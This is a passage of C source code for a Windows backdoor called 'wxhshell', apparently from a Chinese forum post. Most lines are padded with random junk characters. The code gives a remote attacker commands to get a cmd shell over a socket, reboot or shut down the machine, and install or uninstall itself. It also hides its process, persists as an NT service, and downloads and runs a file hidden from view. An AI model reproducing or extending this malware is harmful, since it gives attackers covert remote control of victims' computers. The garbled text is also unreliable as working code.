      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j}~86JO+Cw  
    break; QrYpZZ;  
  } 1rkE yh??  
  // 安装 )0Me?BRp  
  case 'i': { ~[\_N\rm  
    if(Install()) DRc)iE>@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ],RdySN&  
    else Vzwc}k*Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !!`!|w  
    break; O }(VlR2  
    } _g~qu [1  
  // 卸载 GQ9\'z#+  
  case 'r': { /Rg*~Ers *  
    if(Uninstall()) V\^EfQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K00 87}H  
    else /ew Ukc8,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H Ge0hl[n  
    break; @O[}QB?/fi  
    } p\JfFfC  
  // 显示 wxhshell 所在路径 \'CDRr"uw  
  case 'p': { qUOKB6  
    char svExeFile[MAX_PATH]; `~ * @q!  
    strcpy(svExeFile,"\n\r"); VxXzAeM  
      strcat(svExeFile,ExeFile); US%^#D q  
        send(wsh,svExeFile,strlen(svExeFile),0); ;uW}`Q<  
    break; <_XWWT%  
    } 'ul~7h;n  
  // 重启 -$WYj "  
  case 'b': { e{v=MxO=S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &d5ia+ #  
    if(Boot(REBOOT)) 4=Krq6{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E5N{j4\F  
    else { E[bd@[N 8  
    closesocket(wsh); dVFf.  
    ExitThread(0); 4y5UkU9|  
    } 3l3'bw2  
    break; y !!E\b=  
    } ")!,ZD  
  // 关机 Hx\H $Y  
  case 'd': { 8G5m{XTS(  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); y;AL'vm9  
    if(Boot(SHUTDOWN)) =?s 3iP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)K]U  
    else { ;x8k[p~2  
    closesocket(wsh); ^+m+zd_  
    ExitThread(0); *r$+&8V\n  
    } E)9yH\$6  
    break; Eyh51IB.  
    } e4z1`YLsG  
  // 获取shell N]<!j$pOz  
  case 's': { _+^ 2^TW  
    CmdShell(wsh); \a=D  
    closesocket(wsh); FA }_(Hf.[  
    ExitThread(0); en:4H   
    break; yin'vgQ  
  } 6"D/xV3Z  
  // 退出 UD)e:G[Gat  
  case 'x': { ocyb5j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @j4U^"_QB  
    CloseIt(wsh); RJON90,J  
    break; u]ZqOJXxu  
    } Izv+i*(dl  
  // 离开 W(Uu@^  
  case 'q': { }h}<! s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W7\&~IWub  
    closesocket(wsh); )#}mH@  
    WSACleanup(); S#-tOj U*  
    exit(1); JMS(9>+TA  
    break; 3tmdi3s  
        } 80$fG8  
  } zP;cTF(C  
  } [*Z`Kc  
Na\WZSu'"  
  // 提示信息 7 lo|dg80  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @y/wEBb  
} thqS*I'#g  
  } x+@&(NMP5  
0ilCS[`b  
  return; :SsUdIX;P  
} o1/lZm{\~n  
kpI{KISQu  
// shell模块句柄 1H,g=Y4f%  
int CmdShell(SOCKET sock) 6ITLGA  
{ ,JEbd1Uf  
STARTUPINFO si; [,aqQ6S  
ZeroMemory(&si,sizeof(si)); }elH75[64  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j2P n<0U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oQ7]= |  
PROCESS_INFORMATION ProcessInfo; k5&bq2)I  
char cmdline[]="cmd"; A`u$A9[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w~@-9<^K]v  
  return 0; R4<lln:[  
} $oLU; q%  
2 /y}a#s  
// 自身启动模式  pAu72O?  
int StartFromService(void) do-c1;M  
{ ZE `lr+_Y  
typedef struct ? /JBt /b  
{ ?Mp1~{8  
  DWORD ExitStatus; - /c7n F  
  DWORD PebBaseAddress; SjdZyJa  
  DWORD AffinityMask; Y&2aO1  
  DWORD BasePriority; ?R5'#|EyX  
  ULONG UniqueProcessId; Uw<&Wm`'  
  ULONG InheritedFromUniqueProcessId; LjdYsai-  
}   PROCESS_BASIC_INFORMATION; Y1dVM]l  
jFerYv&K~  
PROCNTQSIP NtQueryInformationProcess; 0 3~Ikll  
:h:@o h_=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E:nt)Ef,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A7P`lJgv  
_B,_4}  
  HANDLE             hProcess; @gSkROCdC)  
  PROCESS_BASIC_INFORMATION pbi; :Au /2  
&D#+6M&LK{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :o"8MZp  
  if(NULL == hInst ) return 0; yW.COWL=)  
^t[HoFRa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); J`#` fX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7?)/>lx\>$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XtBMp=7Oa  
D*vm cSf  
  if (!NtQueryInformationProcess) return 0; \%,&~4 !  
tLcEl'Eo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &14W vAU  
  if(!hProcess) return 0; ad!(z[F'Y  
v6e%#=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tiLu75vj  
/f1'm@8;  
  CloseHandle(hProcess); #Nte^E4  
fY2wDD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OYf{?-QD  
if(hProcess==NULL) return 0; #  nfI%  
{4ptu~8  
HMODULE hMod;  d^39t4  
char procName[255]; hbuZaxo<  
unsigned long cbNeeded; R V!o4"\]  
DM3B]Yl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S2$5!(P  
b2h":G|s  
  CloseHandle(hProcess); |0{ i9 .=  
#Y[H8TW  
if(strstr(procName,"services")) return 1; // 以服务启动 NMjnL&P`  
8.I9}_  
  return 0; // 注册表启动 yBz >0I3  
} ]5|z3<K^  
ccO aCr  
// 主模块 gJ\%>r7h  
int StartWxhshell(LPSTR lpCmdLine) 9y"TDo  
{ 7;HUE!5,^l  
  SOCKET wsl; |l90g|isJ  
BOOL val=TRUE; Wp*sP Z  
  int port=0; Um ;kd&#x  
  struct sockaddr_in door; L? ;/cO^  
r#xk`a  
  if(wscfg.ws_autoins) Install(); 0&`}EXe<f  
'yNPhI  
port=atoi(lpCmdLine); umDtp\  
N^B@3QF  
if(port<=0) port=wscfg.ws_port; ^`&HWp  
PN\V[#nS  
  WSADATA data; ?@a$!_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?"@ET9  
a!.!2a&t  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P $h;SK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +-HE '4mo  
  door.sin_family = AF_INET; *?Wtj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TczXHT}G  
  door.sin_port = htons(port); n.;3X  
zXgkcq)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @+0V& jc  
closesocket(wsl); `9EVB;  
return 1; CTU9~~Xk  
} zZYHc?Z  
Orc>.~+f%A  
  if(listen(wsl,2) == INVALID_SOCKET) { 3ExVZu$  
closesocket(wsl); f)tc4iV  
return 1; nE<J`Wo$f  
} ` Y\QUj  
  Wxhshell(wsl); <W|1<=z(  
  WSACleanup(); gCwt0)  
7h1"^}M&  
return 0; o@@w^##  
j}RM.C\7  
} Ko-QR(  
3dU#Ueu  
// 以NT服务方式启动 8a!2zwUBV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c V(H<"I  
{ jQIV2TY[  
DWORD   status = 0; wKrdcWI,Z  
  DWORD   specificError = 0xfffffff; %((cFQ9  
P59uALi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @ YrGyq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Vdy\4 nu(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u dUXc6U  
  serviceStatus.dwWin32ExitCode     = 0; I9:%@g]uYw  
  serviceStatus.dwServiceSpecificExitCode = 0; 'w `d$c/p  
  serviceStatus.dwCheckPoint       = 0; k^yy$^=<  
  serviceStatus.dwWaitHint       = 0; tJG (*   
[sptU3,2U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^1vq{/ X  
  if (hServiceStatusHandle==0) return; YL!oF^XO  
Y/!0Q6<[2Y  
status = GetLastError(); x6~Fb~aP  
  if (status!=NO_ERROR) X &09  
{ 2PI #ie4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @+Pf[J41  
    serviceStatus.dwCheckPoint       = 0; ~EPjZ3 ?  
    serviceStatus.dwWaitHint       = 0; 2O^32TdS  
    serviceStatus.dwWin32ExitCode     = status; ~JT lPU'  
    serviceStatus.dwServiceSpecificExitCode = specificError; I BF.&[[S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); rcpvH}N:  
    return;  MbM :3  
  } 2@4MC`&  
q w"e0q%)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gZ ~y}@L y  
  serviceStatus.dwCheckPoint       = 0; :nTkg[49pJ  
  serviceStatus.dwWaitHint       = 0; ~mW>_[RT;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wa@6VY  
} o^N%;d1%E  
@$_rEdwi  
// 处理NT服务事件,比如:启动、停止 R2'C s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x%ZiE5#  
{ 8HB?=a2Q<'  
switch(fdwControl) ]IL3$eR  
{ mT}Aje-L  
case SERVICE_CONTROL_STOP: fdvi}SS8  
  serviceStatus.dwWin32ExitCode = 0; `<bCq\+`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >2*6qx>V  
  serviceStatus.dwCheckPoint   = 0; 6k@[O@)  
  serviceStatus.dwWaitHint     = 0; 48W:4B'l9  
  { oM m/!Dc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t^dakL  
  } #{.pQi})  
  return; sz){uOI  
case SERVICE_CONTROL_PAUSE: <$Xn:B<H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u_$6LEp-  
  break; mOgx&ns;j  
case SERVICE_CONTROL_CONTINUE: 'Sm/t/g"|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k)o7COx  
  break; c'>8pd  
case SERVICE_CONTROL_INTERROGATE: (2&K (1.Y  
  break; C _ k_D  
}; bt. K<Y0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C&qDvvk  
} r5<e}t-  
GN8`xR{J*  
// 标准应用程序主函数 jFK9?cLT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]&; G\9$y  
{ Q|zE@nLS  
ZnxOa  
// 获取操作系统版本 `3H?*\<(  
OsIsNt=GetOsVer(); ,DW0A//  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  yS(=eB_  
H znI R  
  // 从命令行安装 NiU tH  
  if(strpbrk(lpCmdLine,"iI")) Install(); f^>lObvd  
cviN$oL  
  // 下载执行文件 =[O<.'aG-  
if(wscfg.ws_downexe) { FlM.D u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ynt&cdK9  
  WinExec(wscfg.ws_filenam,SW_HIDE); \^^hG5f  
} zS>:7eG  
^.B `Z{Jb  
if(!OsIsNt) { P+D|_3j  
// 如果时win9x,隐藏进程并且设置为注册表启动 n[S41809<  
HideProc(); !F}J+N=}  
StartWxhshell(lpCmdLine); 7m@^=w  
} 1f bFNxo8M  
else Jh/M}%@|  
  if(StartFromService()) @O*ev| o@x  
  // 以服务方式启动 EIVQu~,H  
  StartServiceCtrlDispatcher(DispatchTable); ADJ5ZD<Q  
else U_=wL  
  // 普通方式启动  Cq~ah  
  StartWxhshell(lpCmdLine); 5i wikC=y  
^FyvaO  
return 0; x X=IMM3  
}
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只看该作者 1 发表于: 2006-10-10
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